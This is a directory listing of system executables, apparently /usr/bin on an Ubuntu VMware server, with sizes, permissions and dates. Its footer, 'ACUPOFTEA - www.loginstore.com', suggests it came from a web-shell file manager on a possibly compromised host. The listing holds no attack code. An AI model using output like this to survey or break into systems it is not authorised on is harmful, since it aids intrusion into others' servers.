22.48 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-cgtop
application/x-pie-executable
38.39 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-cryptenroll
application/x-pie-executable
50.53 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-delta
application/x-pie-executable
26.37 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-detect-virt
application/x-pie-executable
18.37 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-escape
application/x-pie-executable
22.37 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-hwdb
application/x-pie-executable
118.66 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-id128
application/x-pie-executable
26.37 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-inhibit
application/x-pie-executable
22.39 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-machine-id-setup
application/x-pie-executable
18.48 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-mount
application/x-pie-executable
50.59 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-notify
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-path
application/x-pie-executable
18.37 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-run
application/x-pie-executable
62.57 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-socket-activate
application/x-pie-executable
26.37 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-stdio-bridge
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-sysext
application/x-pie-executable
46.49 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-sysusers
application/x-pie-executable
62.68 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-tmpfiles
application/x-pie-executable
98.57 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-tty-ask-password-agent
application/x-pie-executable
34.37 KB
-rwxr-xr-x
2026-06-05 03:40:28
systemd-umount
application/x-pie-executable
50.59 KB
-rwxr-xr-x
2026-06-05 03:40:28
tabs
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2026-06-30 09:25:30
tac
application/x-pie-executable
98.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
tail
application/x-pie-executable
66.52 KB
-rwxr-xr-x
2026-01-23 10:51:17
tar
application/x-pie-executable
509.81 KB
-rwxr-xr-x
2026-07-20 02:42:36
taskset
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
tbl
application/x-pie-executable
126.48 KB
-rwxr-xr-x
2022-03-23 01:56:30
tclsh
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-03-25 09:58:49
tclsh8.6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-03-25 09:58:49
tcpdump
application/x-pie-executable
1.27 MB
-rwxr-xr-x
2024-02-08 01:21:43
tee
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
telnet
application/x-pie-executable
107.56 KB
-rwxr-xr-x
2022-03-24 04:20:51
telnet.netkit
application/x-pie-executable
107.56 KB
-rwxr-xr-x
2022-03-24 04:20:51
tempfile
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2022-03-23 01:49:54
test
application/x-pie-executable
42.44 KB
-rwxr-xr-x
2026-01-23 10:51:17
tgatoppm
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
thinkjettopbm
application/x-pie-executable
22.03 KB
-rwxr-xr-x
2021-02-07 06:32:35
tic
application/x-pie-executable
86.41 KB
-rwxr-xr-x
2026-06-30 09:25:30
tifftopnm
application/x-pie-executable
26.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
time
application/x-pie-executable
26.52 KB
-rwxr-xr-x
2022-03-25 09:52:22
timedatectl
application/x-pie-executable
46.37 KB
-rwxr-xr-x
2026-06-05 03:40:28
timeout
application/x-pie-executable
38.95 KB
-rwxr-xr-x
2026-01-23 10:51:17
tkconch3
text/x-script.python
962 B
-rwxr-xr-x
2026-05-22 03:02:45
tload
application/x-pie-executable
18.24 KB
-rwxr-xr-x
2023-10-31 11:36:04
tmux
application/x-pie-executable
948.55 KB
-rwxr-xr-x
2023-01-31 01:27:15
tnftp
application/x-pie-executable
178.9 KB
-rwxr-xr-x
2022-03-25 10:01:15
toe
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2026-06-30 09:25:30
top
application/x-pie-executable
130.06 KB
-rwxr-xr-x
2023-10-31 11:36:04
touch
application/x-pie-executable
90.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
tput
application/x-pie-executable
26.34 KB
-rwxr-xr-x
2026-06-30 09:25:30
tr
application/x-pie-executable
46.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
tracepath
application/x-pie-executable
18.15 KB
-rwxr-xr-x
2025-07-24 11:51:44
trial3
text/x-script.python
958 B
-rwxr-xr-x
2026-05-22 03:02:45
troff
application/x-pie-executable
718.61 KB
-rwxr-xr-x
2022-03-23 01:56:30
true
application/x-pie-executable
26.3 KB
-rwxr-xr-x
2026-01-23 10:51:17
truncate
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
tset
application/x-pie-executable
26.31 KB
-rwxr-xr-x
2026-06-30 09:25:30
tsort
application/x-pie-executable
46.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
tty
application/x-pie-executable
30.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
twist3
text/x-script.python
958 B
-rwxr-xr-x
2026-05-22 03:02:45
twistd3
text/x-script.python
960 B
-rwxr-xr-x
2026-05-22 03:02:45
tzselect
text/x-shellscript
15.02 KB
-rwxr-xr-x
2026-07-24 12:11:17
ua
text/x-script.python
1003 B
-rwxr-xr-x
2026-07-06 01:36:19
ubuntu-advantage
text/x-script.python
1003 B
-rwxr-xr-x
2026-07-06 01:36:19
ubuntu-bug
text/x-shellscript
2.51 KB
-rwxr-xr-x
2024-07-10 11:56:21
ubuntu-distro-info
application/x-pie-executable
22.89 KB
-rwxr-xr-x
2023-11-28 12:18:32
ubuntu-drivers
text/x-script.python
18.53 KB
-rwxr-xr-x
2025-12-10 09:16:48
ubuntu-security-status
text/x-script.python
22.25 KB
-rwxr-xr-x
2024-07-11 09:48:43
ucf
text/x-shellscript
40.9 KB
-rwxr-xr-x
2020-06-16 05:37:53
ucfq
text/x-perl
18.91 KB
-rwxr-xr-x
2020-06-16 05:37:53
ucfr
text/x-shellscript
10.47 KB
-rwxr-xr-x
2020-06-16 05:37:53
uclampset
application/x-pie-executable
26.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
udevadm
application/x-pie-executable
1.08 MB
-rwxr-xr-x
2026-06-05 03:40:28
udisksctl
application/x-pie-executable
58.38 KB
-rwxr-xr-x
2025-08-21 02:17:01
ul
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
umount
application/x-pie-executable
34.38 KB
-rwsr-xr-x
2026-03-06 04:10:04
uname
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
unattended-upgrade
text/x-script.python
97.21 KB
-rwxr-xr-x
2022-01-14 10:25:41
unattended-upgrades
text/x-script.python
97.21 KB
-rwxr-xr-x
2022-01-14 10:25:41
uncompress
text/x-shellscript
2.29 KB
-rwxr-xr-x
2026-07-03 11:55:53
unexpand
application/x-pie-executable
34.53 KB
-rwxr-xr-x
2026-01-23 10:51:17
unicode_start
text/x-shellscript
2.7 KB
-rwxr-xr-x
2022-12-16 02:14:33
unicode_stop
text/x-shellscript
530 B
-rwxr-xr-x
2022-12-16 02:14:33
uniq
application/x-pie-executable
42.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
unlink
application/x-pie-executable
30.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
unlzma
application/x-pie-executable
82.52 KB
-rwxr-xr-x
2026-05-28 04:06:40
unmkinitramfs
text/x-shellscript
3.69 KB
-rwxr-xr-x
2024-03-19 12:05:17
unshare
application/x-pie-executable
30.6 KB
-rwxr-xr-x
2026-03-06 04:10:04
unsquashfs
application/x-pie-executable
131.9 KB
-rwxr-xr-x
2022-03-25 09:58:38
unxz
application/x-pie-executable
82.52 KB
-rwxr-xr-x
2026-05-28 04:06:40
unzip
application/x-pie-executable
170.42 KB
-rwxr-xr-x
2024-02-01 03:52:55
unzipsfx
application/x-pie-executable
78.42 KB
-rwxr-xr-x
2024-02-01 03:52:55
unzstd
application/x-pie-executable
854.59 KB
-rwxr-xr-x
2022-03-24 04:15:58
update-alternatives
application/x-pie-executable
58.24 KB
-rwxr-xr-x
2025-09-09 08:09:16
update-mime-database
application/x-pie-executable
58.23 KB
-rwxr-xr-x
2022-01-14 09:18:27
upower
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2022-03-09 06:59:13
uptime
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2023-10-31 11:36:04
usb-devices
text/x-shellscript
4.33 KB
-rwxr-xr-x
2022-03-25 09:53:09
usbhid-dump
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2022-03-25 09:53:09
usbreset
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2022-03-25 09:53:09
users
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
utmpdump
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
uuidgen
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
uuidparse
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
vcs-run
text/x-shellscript
6.75 KB
-rwxr-xr-x
2021-08-05 09:58:37
vdir
application/x-pie-executable
134.98 KB
-rwxr-xr-x
2026-01-23 10:51:17
vi
application/x-pie-executable
3.61 MB
-rwxr-xr-x
2026-07-13 07:08:21
view
application/x-pie-executable
3.61 MB
-rwxr-xr-x
2026-07-13 07:08:21
vigpg
text/x-shellscript
2.58 KB
-rwxr-xr-x
2020-02-17 02:11:50
vim
application/x-pie-executable
3.61 MB
-rwxr-xr-x
2026-07-13 07:08:21
vim.basic
application/x-pie-executable
3.61 MB
-rwxr-xr-x
2026-07-13 07:08:21
vim.tiny
application/x-pie-executable
1.45 MB
-rwxr-xr-x
2026-07-13 07:08:21
vimdiff
application/x-pie-executable
3.61 MB
-rwxr-xr-x
2026-07-13 07:08:21
vimtutor
text/x-shellscript
2.1 KB
-rwxr-xr-x
2026-07-13 07:08:21
vm-support
text/x-shellscript
9.83 KB
-rwxr-xr-x
2025-09-23 04:05:34
vmhgfs-fuse
application/x-pie-executable
46.73 KB
-rwxr-xr-x
2025-09-23 04:05:34
vmstat
application/x-pie-executable
38.24 KB
-rwxr-xr-x
2023-10-31 11:36:04
vmtoolsd
application/x-pie-executable
74.56 KB
-rwxr-xr-x
2025-09-23 04:05:34
vmware-alias-import
application/x-pie-executable
42.52 KB
-rwxr-xr-x
2025-09-23 04:05:34
vmware-checkvm
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2025-09-23 04:05:34
vmware-hgfsclient
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2025-09-23 04:05:34
vmware-namespace-cmd
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2025-09-23 04:05:34
vmware-rpctool
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2025-09-23 04:05:34
vmware-toolbox-cmd
application/x-pie-executable
58.59 KB
-rwxr-xr-x
2025-09-23 04:05:34
vmware-vgauth-cmd
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2025-09-23 04:05:34
vmware-vmblock-fuse
application/x-pie-executable
18.78 KB
-rwxr-xr-x
2025-09-23 04:05:34
vmware-xferlogs
application/x-pie-executable
32.33 KB
-rwxr-xr-x
2025-09-23 04:05:34
w
application/x-pie-executable
22.23 KB
-rwxr-xr-x
2023-10-31 11:36:04
wall
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
watch
application/x-pie-executable
26.6 KB
-rwxr-xr-x
2023-10-31 11:36:04
watchgnupg
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2026-01-05 10:14:39
wbmptopbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
wc
application/x-pie-executable
42.42 KB
-rwxr-xr-x
2026-01-23 10:51:17
wdctl
application/x-pie-executable
30.4 KB
-rwxr-xr-x
2026-03-06 04:10:04
webmin
text/x-perl
13.29 KB
-rwxr-xr-x
2026-07-26 11:58:26
wget
application/x-pie-executable
459.02 KB
-rwxr-xr-x
2026-07-16 04:38:47
whatis
application/x-pie-executable
47.28 KB
-rwxr-xr-x
2022-03-17 07:03:00
whereis
application/x-pie-executable
30.84 KB
-rwxr-xr-x
2026-03-06 04:10:04
which
text/x-shellscript
946 B
-rwxr-xr-x
2022-03-23 01:49:54
which.debianutils
text/x-shellscript
946 B
-rwxr-xr-x
2022-03-23 01:49:54
whiptail
application/x-pie-executable
30.16 KB
-rwxr-xr-x
2022-03-17 07:30:58
who
application/x-pie-executable
50.52 KB
-rwxr-xr-x
2026-01-23 10:51:17
whoami
application/x-pie-executable
30.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
wifi-status
text/x-shellscript
2.06 KB
-rwxr-xr-x
2020-02-17 02:11:50
winicontoppm
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
write
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
write.ul
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
www-browser
application/x-pie-executable
1.89 MB
-rwxr-xr-x
2021-10-28 02:31:20
x86_64
application/x-pie-executable
26.65 KB
-rwxr-xr-x
2026-03-06 04:10:04
x86_64-linux-gnu-addr2line
application/x-pie-executable
26.7 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-ar
application/x-pie-executable
54.48 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-as
application/x-pie-executable
456.4 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-c++filt
application/x-pie-executable
22.27 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-cpp
application/x-executable
906.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-cpp-11
application/x-executable
906.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-dwp
application/x-pie-executable
1.82 MB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-elfedit
application/x-pie-executable
34.72 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-g++
application/x-executable
910.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-g++-11
application/x-executable
910.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcc
application/x-executable
906.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcc-11
application/x-executable
906.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcc-ar
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcc-ar-11
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcc-nm
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcc-nm-11
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcc-ranlib
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcc-ranlib-11
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcov
application/x-executable
400.01 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcov-11
application/x-executable
400.01 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcov-dump
application/x-executable
251.84 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcov-dump-11
application/x-executable
251.84 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcov-tool
application/x-executable
275.93 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gcov-tool-11
application/x-executable
275.93 KB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-gold
application/x-pie-executable
3.04 MB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-gprof
application/x-pie-executable
111.79 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-ld
application/x-pie-executable
1.66 MB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-ld.bfd
application/x-pie-executable
1.66 MB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-ld.gold
application/x-pie-executable
3.04 MB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-lto-dump-11
application/x-executable
23.73 MB
-rwxr-xr-x
2025-12-18 07:31:24
x86_64-linux-gnu-nm
application/x-pie-executable
43.63 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-objcopy
application/x-pie-executable
162.54 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-objdump
application/x-pie-executable
365.13 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-ranlib
application/x-pie-executable
54.48 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-readelf
application/x-pie-executable
758.44 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-size
application/x-pie-executable
30.45 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-strings
application/x-pie-executable
30.61 KB
-rwxr-xr-x
2025-12-03 03:08:01
x86_64-linux-gnu-strip
application/x-pie-executable
162.57 KB
-rwxr-xr-x
2025-12-03 03:08:01
xargs
application/x-pie-executable
62.41 KB
-rwxr-xr-x
2022-03-23 01:52:12
xauth
application/x-pie-executable
54.96 KB
-rwxr-xr-x
2022-03-25 09:53:50
xbmtopbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
xdg-user-dir
text/x-shellscript
234 B
-rwxr-xr-x
2022-03-25 09:54:00
xdg-user-dirs-update
application/x-pie-executable
26.23 KB
-rwxr-xr-x
2022-03-25 09:54:00
ximtoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
xpmtoppm
application/x-pie-executable
18.08 KB
-rwxr-xr-x
2021-02-07 06:32:35
xsubpp
text/x-perl
5.05 KB
-rwxr-xr-x
2026-06-23 08:11:00
xvminitoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
xwdtopnm
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
xxd
application/x-pie-executable
18.28 KB
-rwxr-xr-x
2026-07-13 07:08:21
xz
application/x-pie-executable
82.52 KB
-rwxr-xr-x
2026-05-28 04:06:40
xzcat
application/x-pie-executable
82.52 KB
-rwxr-xr-x
2026-05-28 04:06:40
xzcmp
text/x-shellscript
6.86 KB
-rwxr-xr-x
2026-05-28 04:06:40
xzdiff
text/x-shellscript
6.86 KB
-rwxr-xr-x
2026-05-28 04:06:40
xzegrep
text/x-shellscript
5.87 KB
-rwxr-xr-x
2026-05-28 04:06:40
xzfgrep
text/x-shellscript
5.87 KB
-rwxr-xr-x
2026-05-28 04:06:40
xzgrep
text/x-shellscript
5.87 KB
-rwxr-xr-x
2026-05-28 04:06:40
xzless
text/x-shellscript
1.76 KB
-rwxr-xr-x
2026-05-28 04:06:40
xzmore
text/x-shellscript
2.11 KB
-rwxr-xr-x
2026-05-28 04:06:40
ybmtopbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
yes
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-01-23 10:51:17
ypdomainname
application/x-pie-executable
22.23 KB
-rwxr-xr-x
2022-03-23 01:57:59
yuvsplittoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
yuvtoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
zcat
text/x-shellscript
1.94 KB
-rwxr-xr-x
2026-07-03 11:55:53
zcmp
text/x-shellscript
1.64 KB
-rwxr-xr-x
2026-07-03 11:55:53
zdiff
text/x-shellscript
5.75 KB
-rwxr-xr-x
2026-07-03 11:55:53
zdump
application/x-pie-executable
26.21 KB
-rwxr-xr-x
2026-07-24 12:11:17
zegrep
text/x-shellscript
29 B
-rwxr-xr-x
2026-07-03 11:55:53
zeisstopnm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
zfgrep
text/x-shellscript
29 B
-rwxr-xr-x
2026-07-03 11:55:53
zforce
text/x-shellscript
2.03 KB
-rwxr-xr-x
2026-07-03 11:55:53
zgrep
text/x-shellscript
7.91 KB
-rwxr-xr-x
2026-07-03 11:55:53
zipdetails
text/x-perl
58.66 KB
-rwxr-xr-x
2026-06-23 08:11:00
zipgrep
text/x-shellscript
2.89 KB
-rwxr-xr-x
2024-02-01 03:52:55
zipinfo
application/x-pie-executable
170.42 KB
-rwxr-xr-x
2024-02-01 03:52:55
zless
text/x-shellscript
2.15 KB
-rwxr-xr-x
2026-07-03 11:55:53
zmore
text/x-shellscript
1.8 KB
-rwxr-xr-x
2026-07-03 11:55:53
znew
text/x-shellscript
4.47 KB
-rwxr-xr-x
2026-07-03 11:55:53
zstd
application/x-pie-executable
854.59 KB
-rwxr-xr-x
2022-03-24 04:15:58
zstdcat
application/x-pie-executable
854.59 KB
-rwxr-xr-x
2022-03-24 04:15:58
zstdgrep
text/x-shellscript
3.78 KB
-rwxr-xr-x
2022-03-24 04:15:58
zstdless
text/x-shellscript
30 B
-rwxr-xr-x
2022-03-24 04:15:58
zstdmt
application/x-pie-executable
854.59 KB
-rwxr-xr-x
2022-03-24 04:15:58
~ ACUPOFTEA - www.loginstore.com